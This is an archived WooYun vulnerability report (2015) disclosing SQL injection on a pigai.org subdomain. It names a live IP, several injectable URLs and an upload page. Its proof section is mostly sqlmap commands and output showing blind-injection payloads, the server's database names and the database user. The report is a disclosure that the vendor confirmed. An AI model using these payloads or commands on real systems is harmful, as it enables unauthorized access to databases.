当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0105197

漏洞标题:句酷批改网某分站SQL注入#2

相关厂商:pigai.org

漏洞作者: J4nker

提交时间:2015-04-02 16:35

修复时间:2015-05-17 20:22

公开时间:2015-05-17 20:22

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-04-02: 细节已通知厂商并且等待厂商处理中
2015-04-02: 厂商已经确认,细节仅向厂商公开
2015-04-12: 细节向核心白帽子及相关领域专家公开
2015-04-22: 细节向普通白帽子公开
2015-05-02: 细节向实习白帽子公开
2015-05-17: 细节向公众公开

简要描述:

句酷批改网某分站SQL注入

详细说明:

句酷批改网某分站SQL注入

漏洞证明:

bec.pigai.org 这个IP下面的网站,也是你们的。
这个是智能语音的资料库应该是。
http://117.79.131.118:82/
发现了你们好多网站分站 都有http://117.79.131.118:8080/up.php 与index2.html. 上传文件的位置。不知道是不是做测试用的。。上传了下传不上PHP。只能上传图片。没有利用成功。。
http://117.79.131.118:82/list.php 这个测试页面的吧?
SQL注入漏洞: 很多处都有要做过滤的地方还是有很多
http://117.79.131.118:82/trp/index.php?q=alleviate
http://117.79.131.118:82/snt/?q=the&corpus=clec
http://117.79.131.118:82/kp/?q=appeal
http://117.79.131.118:82/lemma/index.php?pageno=10&f=5&cat=snt&q=sound&p=n&kp=sound%2Fn&corpus=bnc
kp 系统应该就是放语句解释的。

C:\Python27\sqlmap>sqlmap.py -u "http://117.79.131.118:82/snt/index.php?q=cause&
pageno=10" --dbs
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20140909}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 13:13:44
[13:13:44] [INFO] resuming back-end DBMS 'mysql'
[13:13:44] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: q
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: q=cause' AND 3301=3301 AND 'FifG'='FifG&pageno=10
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: q=cause' AND SLEEP(5) AND 'dJHr'='dJHr&pageno=10
---
[13:13:44] [INFO] the back-end DBMS is MySQL
web application technology: Nginx, PHP 5.3.14
back-end DBMS: MySQL 5.0.11
[13:13:44] [INFO] fetching database names
[13:13:44] [INFO] fetching number of databases
[13:13:44] [INFO] resumed: 10
[13:13:44] [INFO] resumed: information_schema
[13:13:44] [INFO] resumed: kp
[13:13:44] [INFO] resumed: mysql
[13:13:44] [INFO] resumed: performance_schema
[13:13:44] [INFO] resumed: pigai_local
[13:13:44] [INFO] resumed: pigai_mistake
[13:13:44] [INFO] resumed: pigai_pku
[13:13:44] [INFO] resumed: pigai_spss
[13:13:44] [INFO] resumed: snt
[13:13:44] [INFO] resumed: test
available databases [10]:
[*] information_schema
[*] kp
[*] mysql
[*] performance_schema
[*] pigai_local
[*] pigai_mistake
[*] pigai_pku
[*] pigai_spss
[*] snt
[*] test
[13:13:44] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\117.79.131.118'
[*] shutting down at 13:13:44
C:\Python27\sqlmap>sqlmap.py -u "http://117.79.131.118:82/snt/index.php?q=cause&
pageno=10" --current-user
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20140909}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 13:45:32
[13:45:33] [INFO] resuming back-end DBMS 'mysql'
[13:45:33] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: q
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: q=cause' AND 3301=3301 AND 'FifG'='FifG&pageno=10
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: q=cause' AND SLEEP(5) AND 'dJHr'='dJHr&pageno=10
---
[13:46:00] [INFO] the back-end DBMS is MySQL
web application technology: Nginx, PHP 5.3.14
back-end DBMS: MySQL 5.0.11
[13:46:00] [INFO] fetching current user
[13:46:00] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[13:46:00] [INFO] retrieved:
[13:46:01] [WARNING] reflective value(s) found and filtering out
cikuu
[13:46:31] [INFO] heuristics detected web page charset 'ascii'
localhost
current user: 'cikuu localhost'
[13:47:05] [WARNING] HTTP error codes detected during run:
502 (Bad Gateway) - 1 times
[13:47:05] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\117.79.131.118'
[*] shutting down at 13:47:05


修复方案:

你一定会做的更好的。

版权声明:转载请注明来源 J4nker@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:17

确认时间:2015-04-02 20:21

厂商回复:

修复中

最新状态:

暂无